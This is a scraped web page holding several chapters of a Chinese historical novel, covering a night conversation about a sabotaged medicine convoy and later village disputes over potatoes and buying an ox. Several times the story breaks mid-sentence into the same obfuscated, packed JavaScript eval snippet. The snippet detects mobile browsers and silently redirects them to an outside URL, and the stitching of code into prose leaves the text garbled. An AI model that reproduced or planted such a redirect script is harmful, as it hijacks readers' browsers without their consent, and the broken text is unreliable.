“你还有什么想问的么？”陆桓的话音清晰而低沉，而那些笼聚在他们头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924408|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶上的干枝似乎成了一张密不透风的幕布，紧将这话音包裹在其中。 傅震闻言，目光渐变成了少见的锋利…… 若说之前乔小遇在关于傅震的话题上，她不自觉地与陆桓横竖了一道壁障，那么现下看来，傅震所竖的便是一道冰冷的铁盾！ “我原以为自己已将所有的痕迹抹尽，可没想竟有人能跟着摸到拖罗河这湾子里来。”傅震神色冰凛地道：“是我大意了，还是因为你穷追不舍？” “穷追不舍？我又非那等穷凶极恶之徒。”陆桓哼笑了声，继续说道：“你固然小心，而我能在这山脚旮旯里寻到你，到底有几分运气成分。” “可排除这点运气，你怎么确定那些急欲索你性命的人就不会寻到你的痕迹？泗淮城木具铺的店小二的死因，终究是个漏洞，而你还未来得及把这个漏洞补上，就忙着保命奔逃了，你怎么确定旁人不会寻着这个漏洞往下探寻？” 傅震闻言，脸色骤如浑浊的泥水所沉降出的那层淤泥一般，似乎所有的情绪都集涌堆积在了一处。 陆桓静静地看着傅震，口中继续说道：“如我，不会遗漏任何可能，如淮北之地的那些走卒暗侍，则不会轻易放过任何一条漏网之鱼。” “傅震，你就是一条漏网之鱼。” 陆桓抬手从头顶处折下一小截椿树枝，放在鼻间轻嗅了嗅，话音微沉地道：“只偏你漏网之后，浮上水面呼吸时陷入无奈之境，不得不屈身在一方小水缸里。” “你心里应该有这样一种预想：等饥荒过去，走卒便会提了斧头化身砍柴的樵夫，满朝州府地寻你的踪迹，至少再次确定在泗淮城中死去的人究竟是谁，至少再往那方小水缸里再探上一眼。” 潘怜儿一家便是这方水缸。 尽管陆桓话说晦涩，可傅震听来确是分明，而他可以确定的是，对面这位少年郎对他虽不存威胁之意，但给他带来的压迫感却强烈得教他觉着心脏表皮上停了一只巨大的黑色甲虫般…… 傅震瞳孔深处的那丝光点倏然凝缩变小，而他周身的肌肉亦不自觉地紧绷了起来。他艰难地斜扯了下唇角，说道：“为了找到我，实在教你煞费苦心了。且看样子，你知道的还不少？” “但我想从你这里知道全部的真相，而不仅是几块斑驳的碎片。” 陆桓再次将手里的那截椿树枝折断，借着沉黯不明的光亮仔细看了看折断面，摇头叹声道：“等春来，这细枝也会抽出绿枝的罢……” 听来一句无头无尾的话，却似一道重物般横敲在傅震心头，瞬时激起泥尘一片。 此前一连数月的逃离躲避，傅震本以为自己那颗蒙尘的心早因裹了小道上的泥水、潘怜儿的乳|汁和樵夫的鲜血，已然成坨、成块、成破庙里供着的佛陀身像，怎么也不会有松释的一天…… 或者说保持现下的生活状态已经是他所求，然而陆桓的到来却打破了这种状态…… 80. 沉船一案 是了，春来细枝会染绿抽芽，笼罩在朝州府上的阴云总有散开的一天。 人目不似佛陀那般悲悯，更多时只能顾到自己，人身也不似佛身那般高大，更多时只觉得路边的破屋能够容身挡雨就好。 于是，傅震想知道陆桓的立场和动机。 “这事儿不是随便一个人都好插手的，而我看你的年纪……”傅震上下打量了陆桓两眼，摇头轻喃道：“不像局中人。你又何必呢？” “怎么不是局中人？”陆桓嘴角轻挑起一抹笑意，嗓音微涩地道：“我父亲是前朝州府知府陆彰，在任期间领治水之事，只业未竞，身先死……” 他稍稍顿住了话音，目光转朝身侧边的那条陡直的长青石阶俯瞰去——越是离远的底处，石阶的边缘越是模糊，乃至于黑魆魆的一片视野里，石阶存在与否都没有什么太大的区别了。 对面的傅震在听得陆彰之名后，神情已不由得凝住，而原本由他在两人之间所竖立的那道冰盾已被他撤回。 傅震怎不知陆彰是谁？ 风雨如晦，世人所知陆公半生颠簸，而其身后之名并非由朝廷宣扬扩来，而是流淌在了宽阔的淮水当中。 从朝州府的陆苑到临安皇城，陆公以三元及第铺一程锦绣，而从临安城到朝州府，陆公则背负着蛊惑太子的恶名“回归”故里。 然被贬谪至朝州府的陆公似乎并没有因为先前那场残酷的党争而灰心丧气，相反，他似乎因为远离了临安而斗志昂扬。 在与淮水里的泥沙相争相斗的数年里，陆公之名扬于四野，而傅震虽为无名之卒，亦听北原的军士们提说过陆公的事迹。 与此对应的是，傅震对于陆公因忽染恶疾而隐退辞官的传闻十分不解…… “他便是陆公的儿子？可他牵扯进这件事里来做什么？”傅震眉间神色不禁一阵沉凝，而眸光便似笼在人头顶上方的那些枯枝一般紧将陆桓“锁定”。 至此，深究的人已变成了傅震。 “从那三只运送药草的大船沉入淮水的消息传来的那一刻起，我便再坐不住，四处暗中查访。据官府的说法，沉船处水流湍急，大船是因撞上了那些侧边山壁所没入水中的暗石尖棱才翻的，而药草没能捞上几捆几袋不说，到底泡过了水，已然失之效用。” “这无疑是笼罩在朝州府上空的最为惨淡的一片阴云，只牛疫与饥荒所牵及的那些悲剧后果与艰难过程，在某些人眼中便不过一个个单纯的数字而已……” 陆桓冷笑了声，“他们还隐隐想将船沉之事推给当初主理治水之事的父亲，却不敢白纸黑字交写呈词，而以口舌在贵人耳旁提起时，停顿等于强调……” 傅震嘴巴微张，惊讶地道：“难道无耻的把戏要做足了全套，他们才能称意么？那贵人怎么看？” “这就难得说了。”陆桓淡淡一笑，“但我直等了几月，也并未见贵人对陆氏发难，临安城那边也没有传来什么消息。” “所以你是为了维护你父亲的声名才打算插手的？只贵人既没有针对陆氏，你……”话至此处，傅震便觉喉咙口仿佛被什么东西给噎堵住了一般，他愣愣地再说不出什么话来。 傅震脑中渐得了几分清明。他应当明白的，贵人没有发作便意味着朝廷不会再深究沉船的原因，至于贵人是否相信朝州府官员的呈报，似乎已经没有那么重要了。 未觉间，月色轻从树梢间渗落，在两人脸上映出几条横斜交割的线条阴影来，而随着人轻轻摇头，面皮明暗交迭。 “虽然朝廷并不打算深究下去，但谁知道往后会不会有人拿了这事出来做文章呢，便是做文章，我也希望是由我来做。” 陆桓声音微沉地继续说道：“淮水在金葫芦口分内外两江，两侧水流的情况差异甚大，而原本船只从运河口驶出后，一般都走的内江水道，因为内江水流相对平缓，且是由人工凿出的，并不存在暗石破船的凶险情形……” “但船只翻沉的地方却在外江。”陆桓神色冷峻地看向傅震，疑问道：“你们为何要走外江呢？” “你何以肯定我们走的是外江？”傅震惘然轻叹道：“回头来，世人都中了障眼法么？” 陆桓不禁皱了皱眉，沉声问道：“何解？” 傅震的话音如清寒的月光般不带丝毫温度，“我倒真真好奇朝州知府究竟呈递上一份怎样的奏报了！押送药草的军士既然死无全尸，那便没有人证，难道关于沉船经过的奏报内容全凭臆测写的？” “耽误牛疫防治，终究是百死难辞其罪，可朝州府知府却还稳坐其位……这便是他为人遮掩罪行的‘回馈’么？” 陆桓低眉抿唇道：“你不就是人证么？只可惜，有人并不需要你的存在。想来，袁大娘一家所知内情也非全部吧……” “我虽与他们同经生死过，但这些事若让他们知道原委，他们日后怕是没得安生日子过了。”傅震仰头长叹了声，旋对陆桓黯然笑道：“但你找来了，这已让我再不能安生下去。” 陆桓默然，只定定迎上傅震那双映着月色的眼…… 同样的月色，亦映在数月前的淮水当中，散泛如鱼鳞遍目。 是夜，七八只飞舟紧护在大船四周，从金葫芦口划入内江当中…… 身为伍长的傅震领了几个兄弟扎在其中队尾的一只飞舟上，但觉着这夜安静异常，他数次提醒守夜的军士们小心警惕，于是几人连眼皮都不敢轻眨一下。 而等他们觉着眼球酸涩时，周遭的火光却被几道飞矢射灭了！ 军士们顿时警铃大作，拔刀应敌！ 傅震他们原是从北原军中抽调南下押运药草的，作战能力自不会如何逊色，只来敌的身手和数量实在出乎他们的意料…… 一条条如鬼魅般的身形从大船底部冒出，而不待守运草药的军士们反应过来，鬼魅手中的箭弩已经对准了军士的胸膛——只听得“扑哧”数声，那些“沉厚”的盔甲便被金属箭头穿破！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924409|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这些盔甲竟是有问题的……”骚|乱之中，傅震的眸色直转为惊怒！ 一切都发生得那么突然！ 傅震所能够清晰感受到的，是面上所传来的温热与冰凉之感交替——鲜血与河水都溅到了他的皮肤上！ 眼瞧得那一团团黑影如轻烟一般飘到大船上，而死在他们手下的军士的尸体却如沉木一般彻底地掉进深水之中，傅震只觉得自己肺部的那处空洞口似乎与喉咙连接相通了般，使他呼气时，口鼻中均是一股血腥气味！ 船上惨叫声频起，但意识已经开始涣散的傅震却有些听不清了……他的视野里是一片鲜红，映着几点忽明忽暗的黄色火光，竟显得那般沉抑！ 傅震挣撑着翻了翻沉重的眼皮，依稀见得有几条黑影趴摸到了他左前方的飞舟上，拿尖刀对舟中之人一通猛刺……在确定人没了呼吸后，他们随即沉舟抛尸！ “也不知从哪里抽使上来的气力，我紧捂了伤口，侧卧到小舟一边，终将其翻沉……于是我逃了出来。” 傅震的话音渐变得沉冷，而他两侧的腮帮子则因他紧咬着后槽牙而变得鼓胀起来，“我至今都还记得自己往河面上看的最后一眼，大船改成了逆行，而我那帮兄弟们的身体则不断地往下沉坠……” “我知道他们的身体会被泥沙冲裹到下游，便是意外被冲到了河滩上，那也已经是面目难辨了，而更多的，确是腐肉被鱼虾吞食，白色的骷|髅成为盛装淤泥的容器。” 话至此处，傅震已是情难自抑，双肩是一阵紧抑不住的颤抖。 陆桓的面色更显冷峻，皱眉缓说道：“其实在内江的泥滩上，也曾发现两具尸体，只官府将这消息压下来了，且仵作的验尸结果也作了假。至于再往下游，两江交汇后，便是再发现沉尸，也同你说的那般，辨不清面貌与事发之地。” “何况，如今淮水一线动荡未安，如盗贼匪徒横尸街头无人过问，如今夜里死去的流民，在被我们沉入拖罗河之后就再没有之后了……没有人会去深究一具死尸的来源。” 傅震眸色闪烁，嘴唇紧抿成了一条线，“你怎么知道官府的人动了手脚？” “你方才还道我‘煞费苦心’不是？”陆桓轻叹出了口气，接着淡声说道：“所以运送药草的船只逆行至金葫芦口之后，便折进外江里翻沉了是么……” “而你，漂流至淮水北岸，被聚在附近粥棚领粥的流民所救，却由此暴露行踪。便脱去军服，沿路逃亡，侥幸被潘怜儿夫君林掌柜的搭救，也终究被暗侍缠上，而潘怜儿一家，则因你而被迫逃亡。” 傅震呼吸微滞，定朝陆桓探去的眸色闪烁，如流月无声的河水般。 而与此同时，傅震的内心却得了一种宁和：陆桓得知了一应内情，这世上便不仅有他一人保守秘密了…… 并且他相信，无论日后自己会陷于何种危境，陆桓都有手段保全自身。便只要陆桓活着，这障目戏法迟早都会有被揭开的一天。 81. 云的俯视 这般想着，傅震面上不由得漾起一抹笑意来，而随着这笑意愈深，他右侧脸颊上的月牙伤口又豁裂了几分，几颗小血珠从中渗沁而出，瞧来阴郁又灼亮。 陆桓似乎意识到了他在想什么，于是冷瞥了他一眼，沉声道：“那你日后打算怎么办？你总不好一直呆在乔家村的，因为你在这里一天，与你相关之人的日子就不会安宁。你不妨随我离开，另寻个僻静之所？” 傅震懵眼，微顿的话音显得有些犹豫，“只是我应允过林掌柜的，要好好照顾潘怜儿母子……” 陆桓见状怎还会不清楚傅震的心思呢？不过傅震本人是否有所意识，陆桓却是不知道了。 陆桓负手往侧旁轻踱了两步，身形渐离了椿树枝影的笼覆。他缓声启口：“这都是你的意愿，谁都没有充分的理由去强迫你，但为保周全，你……” 傅震闻言，眸色微微一亮——倒并非因着月色映入其中的缘故。 陆桓折转过身，沉音道：“木具铺店小二的死因，我可以帮你伪篡。你与潘怜儿一家便只需记着，那店小二自与你们拜别归乡后，便杳无音信了。等日后你们安定下来，与店小二老家去一封书信问问情形即可……” “自然的是，你们会从店小二家人的回信中，得知他人早在归乡路上被流民伤虐而死，余下的钱粮和路引是被一个同乡人带回去的消息。” 傅震唇角微动，终究却一字未发，只静静地看向陆桓。他知道，想要掩盖这件事，仅仅抹去店小二的痕迹是不够的。 果然，陆桓顿语片刻，又接着说道：“等流民之乱平定下来，官府定会重新编制户籍，你若决心留在拖罗河这湾子里，原籍出身的漏洞我会帮你填平。届时乔长田三点笔墨一添，薛震之名便算暂被掩埋进河沙里了。” 傅震呼吸愈加紧凝，且听陆桓叹声补充道：“还有就是，你这张脸……” 这道话音落下的瞬间，傅震直觉得风声都停了，而被月色映出一层亮边的阴云也停了飘荡…… “这不是什么不可接受的事情。”傅震忽地笑了起来，耸肩说道：“我已经确定，会留在袁大娘他们一家身边，并抚养小虎长大。” 夜中风凉，人的感受被刺激得清晰了几分。陆桓没想到傅震居然这么快就给出了回复，不禁轻笑道：“想来我到乔家村的时机是恰当的，若没有这番夜谈，对于日后何去何从，你会再纠结上一段时日……” 两人目光相触，傅震拱手呵笑，应声道：“而若危机临近，我已无应对之力。可见，你来的不仅仅是凑巧。” 傅震决定，等院后的屋子盖起来后，他便去与袁大娘开口提亲，求娶潘怜儿…… 他应当能当好一个父亲的，傅震心想。只他终究有些忐忑，可不知袁大娘是否同意这桩亲事…… 光秃秃的椿树下，乔小遇便只见得傅震一人留在原处发了好一会儿呆，而陆桓却是慢悠悠地回她二伯家里歇息了。 “真不知他们都说了些什么。”乔小遇心下如此暗念，倒盼着双方没有什么具象的牵扯才好。 一夜的波折，满身的疲累，使男人们的呼噜声扯得老高了——这原是聒人耳朵的，可乔小遇躺下不过片刻的工夫，人竟也跟着睡着了。 直等清晨时，村里唯一留剩的那只大公鸡的打鸣声响起，男人们的呼噜声才停了下来。 悬在山头的云色由灰墨变为橙红，然后橘黄、金亮，原便设想自己在大年初一时得睡个懒觉的乔小遇果然晚起了！ 惺忪着眼的她从楼梯上挪步爬下，但迎上那坐在火炉边逗哄着小糯米团子玩耍的陆桓，乔小遇口中只干涩地挤出了一句：“早啊！” 随即“落荒而逃”！ 陆桓觉着有些好笑，他回头往正在院中梳头的乔小遇看了一眼，不禁摇了摇头，接着便拉着乔小佩往乔小遇她二伯家去了。 不再顶着一笼鸡窝头的乔小遇回到屋内，心绪是忐忑的。只见过她狼狈模样的陆桓已不在屋中，这使她舒了一口气的同时，心头竟不自觉地多了分失落感。 “便什么邋遢样没见过？我这都在想什么呀……”乔小遇紧拍了拍自己的脸，喃喃道。但想及在野山林中时，她甚至在无意当中窥视到过成精的鱼儿洗|澡的情形，乔小遇觉着自己不应当有任何尴尬的情绪才对。 然她来到二伯家寻妹妹时，明知陆桓的视线就停落在自己身上，却始终没有勇气抬眼迎上，只随意问道：“高扬不在么？” “他去给你家当劳力了。”陆桓轻笑着，随即将那伏趴在自己膝上的小糯米团子给拎抱到了乔小遇身前。 乔小佩复又黏上了她姐，抱着乔小遇的腿撒娇道：“姐姐，你今早赖床了哟，起得比我还要晚。你以前不是说是住在别人家不能没有规矩的嘛……” 乔小遇的神色被小妹这番话给逗得愈发尴尬了，一旁的陆桓亦不由得淡笑着摇了摇头。 这时乔小遇她二伯母拿了两个蒸荞麦饼子送过来。 人笑着摸了摸乔小佩的头，道：“小佩要是没睡够就再上楼躺一会儿嘞，这一家子的，哪来这么多规矩。” “二伯母这话一说，这小糯米团子可不得在外首另裹上一层面粉么。”乔小遇呵笑着道。她迟疑了下，却还是领了她二伯母的好意，将苦荞饼接了过来。 她小心地扯下一角，将余下大半递给小妹，“你快吃，吃完咱们回家里看看爹娘他们收拾的怎么样了。”至于另外一张，她径直将其递到了陆桓面前…… 只半晌还不见桓接过，乔小遇终于抬起了眼，但见陆桓神色间带了一种拒避感，她轻笑着说道：“这是苦荞饼……你之前吃过的呀。这颜色虽有些不好看，味道也微苦涩，但我二伯母家在这种情景下还能拿这东西来，已是极为不易……” “那你们姐妹俩吃吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924410|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆桓蹙眉补充道：“我其实……不太喜欢吃苦的。” 言毕，陆桓便头也不回地出门去了，而看其脚步，似也带了一种“落荒而逃”的意味。 乔小遇低头看了眼手上的荞麦饼，又瞥眼瞧得小糯米团子那副口水直流的模样，她的唇角不由得漾起一抹柔和的笑意来。 “所以陆桓既非不愿领人心意，也不是想着将饼子留给我们姐妹俩，他只是真的不喜欢吃有苦味的东西？那他以前接小妹的饼时还那般说……”乔小遇微怔着，唇角笑意渐凝固下来，而神色也转为黯然。 显而易见，陆桓是飘在山头的一片云，而她住在山底的一间陋屋里，云便是少见地俯视了她一眼，她也没有一双能助她爬上山顶的鞋。倘若她强撑着上，也只怕人至半途时，脚底已被草荆刺得处处都是血痕。 …… 随着日光渐变得明烈，团团沉落在这山村里的白雾便跟着消散了去。 拖罗河已然恢复清澈，至于村里泥道上的血迹，则被村民们拿了锄头铁铲仔细刮过，不过泥巴终究被连带着铲了一层。 高扬几人复将乔小遇家的院子冲扫过两回，直令院中石板上的纹路明净可见。陆桓则依旧一副乐悠悠的模样，凑坐在石井边的矮凳上，借着乔小遇家的磨石磨剑。 只他的动作实在有些笨拙可爱，高扬往他身旁走过两个来回，却还强忍了发笑声。乔荣与乔宝树见状亦不由得面面相觑，想上前帮忙却被高扬拉住了。 “显而易见，他只是一个会使剑的，却不会磨剑。”傅震不知是什么时候走过来的，他一边扬了扬木桶里用来刷墙的石灰浆，一边摇头说道。 “养尊处优惯了，要他从高岭走下哪是这么容易的。”高扬摊了摊手，面上似笑非笑的神情在看到傅震右边脸颊上的弯月伤口时终是凝滞了下。 而乔宝树与乔荣的神情则直接可用“震惊”二字来形容。 “傅震表哥，你脸上的伤口似乎拉长了些……你昨晚回去之后难道不曾处理一下的么？”乔宝树的手指微颤着，眼底所映是傅震那道血糊糊的伤口。 傅震不以为意地笑了笑，道：“这没什么，不过留个疤的事罢了……谁承想昨晚竟会遇到那么多的流民呢？” “不过你还是缠两圈布绷带的好，若是潘娘子……和小遇她爹娘看见了，不知他们怎么念叨呢。”高扬的话至于半中便迅速地转了个弯，到底不显得那么生硬了。 傅震闻言呵笑着点了点头。事实上，乔小遇她爹娘早时便见过他这模样了…… 不仅乔小遇她爹娘，湾子里的村民都当傅震这伤源于昨夜里的那场纷乱，于是他们都有意识地选择了回避。 便是后来有暗侍摸到乔家村来，看着那张与傅震模样极为相似的画像，村里人都道说不曾见过——毕竟砍杀流民的事，村里的男人都有上手，若官府后步追究，他们谁都难以避逃。 82. 留有余地 只这终究是三年后的事了…… 三年前的记忆当还算不上模糊，但所遭辛苦抑于心间，人们不见得愿意回忆。 此前家里的土墙又泥黑变为粉白时，乔小遇还有些不适应，觉着突兀得紧，可在见过那两片粉白被鲜血染红的情景后，乔小遇确觉着似当下这般粉白的颜色实在合适不过。 新年新气象不是？墙面重新被刷白，饭桌再次规置过，污黑的楼梯也换了…… 可乔小遇并不觉着怎么欣喜，因为陆桓与高扬在简单地从她家灶炉下拾了几个土豆吃过后，便骑马离开了。 他们依旧匆忙。 乔小遇心思黯黯，她原想问陆桓说人难道不去陆家坟山里拜祭下过世的父亲的话，但想及自己与陆桓在坟山里碰巧遇到的情景后，这话便又咽了回去。 “岁岁年年终不同，愿你早日达成所愿，下次进山拜祭时你便不必悄悄一个人了。”乔小遇怔眼看着少年离开的背影，心下暗道。 傅震轻轻地拍了拍乔小遇的肩膀，笑叹道：“年节里总有许多事要忙的，他们除夕都没有在家里过。” 除此之外，傅震什么都不曾多说。他与那一直在旁作沉默状的乔荣一般，早已看出了那股存在于陆桓与乔小遇之间的情愫，而他们同样认为，这无关紧要，也不会有任何结果。 而从头到尾，便只有傅娘子与乔宝树有所错认罢了……乔小遇倒也希望自己错认了某种情感，并试图尽快抽离。 乔家村依旧是那个窝在山脚下的小山村，村里的人命亦多得保全。 艰辛的日子，平淡而琐碎的日常。 乔小佩调皮的一面终究遮饰不住，比如她会紧趁着墙面未干，偷偷在上头踩留下两个鞋印子；傅娘子对乔冉安依旧说着聒耳的唠叨话…… 乔小遇小心翼翼地从这些琐碎中触取得温暖，以为自己能够从那种“显而易见”的距离感中脱离出来，可日子越久，她便觉着有一种深深的无力感。 而这种无力感多是由外在环境所带来的。 家中屋后的那片平地里的冬土豆便快要长熟了，乔小遇一家围坐在火炉旁时自然而然地就说起了各家各送多少斤的话题。 然各自相争不下，也不好仅给几家相熟的，这个乐呵的话题最终变得严肃起来。 “好人难做，咱就按人丁数均分好了。”傅娘子最终同意了乔小遇的这个主意，至于乔冉安提说给他几个弟兄家里多送些，或是给乔代善攒些束脩费的话，傅娘子权当没听见了。 没有什么比饱腹更重要的事了，不是么？但现实是，不等隔日清早傅娘子去与乔长田商说这事，乔小遇她家地里的土豆就被人刨挖了好大一角。 这地就在人眼皮底下守着呢，可村里人还是等不及了…… 傅娘子被泼了一瓢冷水，嘴头上骂咧了几句，便与乔长田提起让村里人去挖土豆的事时，语气亦不自觉地挟带了一股抱怨。 乔长田欣喜感怀之余，也只能无奈叹声道：“嫂子呀，这事也不能全怪偷土豆的村里人……想当初何家的娃儿都被流民偷了去，今儿丢的仅是几筐土豆罢了。” 日子怎么就过得这么不容易呢？ 可即便心里噎堵着一口气，乔小遇一家也没有想着说地里的土豆就不分给村里人了。只当村民们聚集到乔小遇家院中，且听乔长田提说起土豆已被人偷刨了些的事后，却直接吵了起来。 当下嚼骂什么话的都有，而此前因借牛的事与乔小遇家有些不对付的乔麻子，甚至还疑说乔冉安家惯会做样子，人不见得是真心实意地想要帮村里人渡过难关，那些土豆指不定就是乔冉安家事先刨的…… 这话一出，可惹得乔小遇她娘那个暴脾气的差些便跳起来，破口大骂，亏得是被乔小遇强按住了。 乔小遇她几个叔伯家则为他们出头抱说不平，尤其她大伯母那口利嘴，嘲起人来是尽把人脑袋往那臭鱼缸子里塞的！ “我眼瞅着是谁呢？原是乔麻子你这泼皮无赖！你倒怎么好意思来我四弟家领土豆呢？咱三舍五邻的且都听着呢，遇丫头家愿做这善人，你倒还转过来泼人一桶脏水……” “呵，当初这片地里的土豆是怎么种下去的，乔根茂他们哥几家最清楚！如今你上门求粮，我四弟家也不曾如你一般趁火打劫啊！” 人群中碎念声嘈杂…… 乔长田眸色为难地瞥了眼傅娘子的方向，心想着若乔小遇一家为乔麻子的话而心存芥蒂，这乔麻子也是赶得的，但他没有想到，此番出言表态的人却是乔冉安。 “大家伙便都少说两句吧。我晓得各家里都有难处，如今山里的野菜还没怎么冒土，咱们可得熬上一段日子。别人怎么想我家，我乔冉安管不着，反正心意送出来了，有人想要糟践它大可不接。” 乔小遇她爹说这话时，口上虽道说自己管不着，但他额边的青筋绷凸而起的情形却是明显的……他憋屈的语气终使得人群默声，而那副半佝偻着的身躯虽依旧是平日里的怂包姿势，却没有人因此嘲笑他。 乔冉安就是这样一个老实得过分的人啊！他编的竹篾篱笆和竹篮是村里最好的，可村里人来寻他帮着编做时，往往只需带上来几根竹子就好了，也不用提说给两个铜板、两兜豆种什么的…… 大家伙似乎都习惯了这种交往方式……只他们不会将这种小事放在心上的同时，却会在背后以乔冉安不会犁地、不敢杀鸡、不能做力气活的事讥笑于他。 直至今日，当人地里所种不多的土豆成为自家的救命粮时，村民们似才意识到自己的粗鄙浅薄。 乔麻子满面羞愧地站在原地，而一直徘徊在人群边缘处的何家人踮了踮脚尖，终究出声打破了场间这种沉默的氛围。 “四哥四嫂，你家那土豆是我们夜里偷挖了去的……” 何家人的坦诚道言使得人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924411|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再变得骚|动起来，但大家伙似乎因受到方才那股沉闷的气氛影响，这次的骚|动更接近于一种窃窃。 人们的情绪是复杂的，但构成这种复杂情绪的份量却又是明确的：怜悯多于鄙夷，感叹多于指责…… 就算姓何，他们也是乔家村的一份子，否则此番乔小遇家让村里人来刨挖土豆的事，乔长田就不会叫上何家人了。乔长田心里连连叹气，而在何家人做出归还土豆的允诺后，他再次将决定权交到了乔小遇一家手中。 乔小遇她爹娘面面相视后，终究颔首……只他们不必再说什么相劝的话，有着相同处境的村民们已能够理解这种决定。 这应当是最好的情形了。少了争执与难以入耳的碎骂声，农户们连月来紧绷着的心神难得松释了几分。他们相信，便只要彼此间互相搀上一把，日子总会熬过去的。 绵绵的春雨下着，如画师般毫不偏倚地泼开绿色颜料，于是田野绿了，山林也绿了…… 老黄牛在地头艰难地犁动着地，累得气喘吁吁时，只得站在原地不动。使牛人心下焦急着，却舍不得往老黄牛身上挥鞭，只往田埂上随意一坐，唤家里的小孩去河边割些嫩草来与老牛吃。 “如今村里人便都指望着这头老黄牛了，我哪舍得往死里使？”乔长田接过媳妇递过来的水壶，忍不住沉叹道。 刘菜粉亦苦着脸色道：“哪是我们使牛狠呢，都是天爷逼着人没法活。眼看着就要春种了，可村里有些栽稻子的人家连撒秧苗的稻种都凑不齐，别提说没有牛犁地的事了。” “再照这么个情景发展下去，今年又要填不饱肚子了。”刘菜粉紧拧着眉，旋轻推了推乔长田的胳膊，问道：“长水娶媳妇的事你同他商量了没？” “你这可教我怎么说呢？长水娶媳妇的钱是爹娘头上留下来的，我这个做大哥的，怎么好挪了他娶媳妇的钱去买牛呢？再说，长水说亲本就困难，这好不容易相中一个，你这……你这不是让我难为情嘛！”乔长田摊手叹道。 “你这一拖再拖的，算怎么一回事？咱可是好不容易才打开陆家人那关节的，要是回复得迟了，买不着牛怎么办！” 刘菜粉愤愤地拧了乔长田的胳膊肉，旋站起身来道：“你不愿意和长水说，那便由我去说……” 乔长田闻言紧忙扯住媳妇的衣角，咋舌道：“得得……你等晚上回家，我亲自同他说成不？这事总还得同别的哥几个通个气的，毕竟不是咱家的钱。” 在刘菜粉看来，自家既还算得说留有“余地”，那便算不得山穷水尽。 湾子里还留有这种“余地”的人家并没有几家，而乔小遇家当算其中一户。便说人在这种关头上，还能拿出整头的猪肉去换得几板车的瓦片来盖房，可见得说人底气颇足。 乔长田原与媳妇提说两家合买耕牛的钱能不能让乔小遇家多出些，然不等他把话说完，刘菜粉的脸色便拉了下来。 83. 买牛三择 “就算冉安哥家愿意出大半的钱，可牛买回来后到底算哪家的？我是不好意思说这牛是两家合着买的，且平日里喂料和使牛的天数又不好扯清楚了……我不管你怎么个买法，但牛主要得是咱家的。” 乔长田自知媳妇说的有几分道理，可细论下来又无疑有些斤斤计较……左右买牛这事，是让他头大了！ 除了河滩上的稻田，乔家村的田地便多是山林改出来的，有的肥沃，有的贫瘠，有的是沙土，有的石砾多得便教人那一双厚茧遍底的脚也硌得生疼。 自家还能挪了长水的娶妻钱买牛，可村里的其他人家呢？ 乔长田想及此处，终是愁眉不展了。 前几日时，他专程往县上打听过消息，官府道说有借粮租牛的政举，以帮淮水一线的百姓们渡过难关……耕稼失时总是不好的，这道理谁都懂，可乔长田一问具体落实的时间，县官们便都开始支吾起来。 心绪怏怏的乔长田转头折回了陆苑。 从陆慎那处，乔长田得知官府的政令其实已在小范围内实施了，只后续的粮种、耕牛与银钱等物还未全部下放到县上，衙门的人哪敢说个确切的日子？总不好各地不均，引发民愤的吧？ 对乔长田和拖罗河那整湾子里的村民而言，他们最关切的不过能得一口饱饭罢了，而巴上陆苑，确使乔长田觉着情势变得明朗起来。 至少陆苑的人愿意帮他们一把。 乔长田回到湾子里后，便立即把大家伙给召集了起来，将内情细说了遍，具体抉择还是看村里人的了。 一是等着从官府那处租牛使，可如今利息多少还不确定，能不能租上以及整村里能租上几头更不确定；二是从官府那里领钱三贯，各家再添些去买官府专从别处州府买来的牛，可价钱亦未可知；三便是各家凑了钱，随陆氏庄子上的人一同去江北买牛。 在乔长田看来，最后一种选择是相对主动的。途中即便要跋涉上半月时间，但有陆氏照应着，凡事有陆家人出面，他们当算安逸…… 乔长田将这想法与乔冉安夫妻俩说了说，原本傅娘子心下还犹豫着，可不知怎的，傅娘子在被乔小遇拉到一旁，听得几句什么劝说的话后，竟将这犹豫全都消解了去。 